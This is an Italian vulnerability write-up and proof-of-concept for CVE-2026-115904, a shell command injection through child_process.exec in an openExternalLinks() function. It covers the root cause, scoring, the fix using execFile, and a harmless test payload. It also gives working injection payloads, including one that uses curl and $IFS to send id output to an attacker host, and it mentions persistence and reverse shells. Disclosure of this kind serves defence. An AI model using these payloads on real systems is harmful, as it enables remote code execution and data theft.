
Write-up e proof-of-concept per CVE-2026-115904, un'iniezione di comandi del sistema operativo in openExternalLinks() tramite child_process.exec, con analisi della causa principale, payload e mitigazione.
openExternalLinks() in utils.js| CVE ID | CVE-2026-115904 |
| Classe di vulnerabilità | OS Command Injection (CWE-78) |
| Componente interessato | utils.js → openExternalLinks(url) |
| Piattaforma interessata | Linux (ramo process.platform === "linux") |
| Vettore di attacco | Chiamata child_process.exec attivata tramite interazione dell'utente (clic su link) |
| Punteggio CVSS 3.1 | 9.6 (Critical) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (verificato con la registrazione ufficiale della CVE) |
| Stato | Patched (v2026.9.2410) |
| Data di scoperta | 23 settembre 2026 |
| Data di notifica al vendor / Richiesta CVE | 25 settembre 2026 |
| Data della patch | 25 settembre 2026 (v2026.9.2410) |
| Data di divulgazione pubblica | 28 ottobre 2026 (data di pubblicazione CVE/GHSA) |
Nota: il campo ufficiale
dateReserveddella registrazione CVE risulta essere il 23 ottobre 2026 — circa un mese dopo la data della vostra richiesta del 25 settembre. Questa differenza potrebbe essere dovuta ai tempi di elaborazione da parte del CNA (GitHub); se lo desiderate, posso aggiungere questa nota anche alla timeline.
La funzione openExternalLinks() all'interno di utils.js esegue il comando xdg-open con child_process.exec() per aprire un URL esterno sulla piattaforma Linux. La funzione inietta direttamente sulla riga di comando, tra doppi apici, il valore url proveniente dall'utente/dal flusso dell'applicazione, senza sottoporlo ad alcun processo di shell-safe escaping. Poiché il comando exec() viene eseguito tramite una shell (/bin/sh -c), le espressioni $(...) (command substitution) inserite nell'URL vengono interpretate dalla shell, consentendo l'esecuzione arbitraria di comandi (RCE).
Di conseguenza, qualsiasi flusso all'interno dell'applicazione che generi un link esterno cliccabile/attivabile dall'utente (ad es. messaggistica, anteprima dei link, notifiche, client di posta elettronica, ecc.) può essere trasformato, tramite un URL controllato dall'attaccante, in esecuzione di comandi a livello di sistema operativo.
| Metrica | Valore |
|---|---|
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | None |
| User Interaction (UI) | Required |
| Scope (S) | Changed |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
| Base Score | 9.6 (Critical) |
const openExternalLinks = (url) => {
if (process.platform === "linux") {
const newUrl = new URL(url);
require("child_process").exec(`xdg-open "${newUrl}"`);
} else {
shell.openExternal(url).catch(err => {
let safeUrl = url;
try {
const parsed = new URL(url);
safeUrl = parsed.hostname || url.substring(0, 30) + '...';
} catch(e) {}
const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);
customErr.code = err.code;
throw customErr;
});
}
};
new URL(url) verifica solo se l'URL è sintatticamente valido; non esegue alcun filtraggio dei meta-caratteri della shell.newUrl (cioè l'output toString() dell'oggetto URL) viene incorporato direttamente nel comando come xdg-open "${newUrl}" all'interno di un template string.child_process.exec() esegue il comando fornito all'interno di una shell (/bin/sh -c "..."). Le virgolette doppie ("...") non neutralizzano tutti i meta-caratteri nella shell: impediscono l'espansione di spazi e glob (*) ma la command substitution (`cmd` ve $(cmd)) rimane attiva anche all'interno delle virgolette doppie.url viene assegnato un valore contenente una command substitution, il comando tra parentesi viene eseguito dalla shell prima che venga eseguito xdg-open.Approccio corretto/sicuro: utilizzare
child_process.execFile("xdg-open", [url])—execFilepassa gli argomenti direttamente al processo senza passare attraverso una shell ed elimina completamente questa classe di injection. In alternativa, se si deve usarechild_process.exec, è necessario aggiungere un escaping rigoroso con una libreria simile ashell-quotee, in aggiunta, un controllo allow-list in cui lo schema dell'URL sia limitato esclusivamente ahttp(s).
xdg-open, la shell esegue il blocco $(...) contenuto nell'URL.~/.bashrc, crontab, file di autostart), apertura di una reverse shell, ecc.http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))
Nota: La classe WHATWG URL di Node codifica automaticamente in percent-encoding i caratteri come lo spazio, >, <, {, } all'interno del path (%20 ecc.), ma poiché $, (, ), |, ; non vengono codificati, la command substitution non è impedita. Nei payload che richiedono spazi si utilizza la classica tecnica $IFS (la $IFS senza parentesi è la variabile separatore di word-split della shell e termina automaticamente quando incontra un carattere non identificatore).
Un trigger PoC diretto e innocuo (per una prova out-of-band):
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
utils.js in un ambiente Linux.openExternalLinks() (ad es. cliccando su un link in un messaggio/notifica).poc.js):
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
/tmp/cve-2026-115904-poc.txt e che al suo interno sia presente l'output del comando id.Output verificato (questo PoC è stato testato in questo ambiente):
[+] BAŞARILI: Command injection doğrulandı!
[+] /tmp/cve-2026-115904-poc.txt içeriği:
uid=0(root) gid=0(root) groups=0(root)
Il fatto che xdg-open stesso fallisca (perché non viene trovato alcun browser/handler)
non è rilevante — la command substitution viene comunque attivata prima che venga invocato xdg-open,
durante l'analisi della riga di comando della shell.
5. Dopo aver verificato l'esecuzione del comando, si può eventualmente mostrare anche un'esfiltrazione di dati out-of-band con un listener controllato (ad es. una richiesta al proprio server tramite curl).
Vedi poc.js — eseguendo una copia isolata e controllata della funzione vulnerabile, dimostra l'iniezione in modo sicuro nell'ambiente locale (solo con comandi innocui come id/touch, senza effettuare richieste verso l'esterno).
const { execFile } = require("child_process");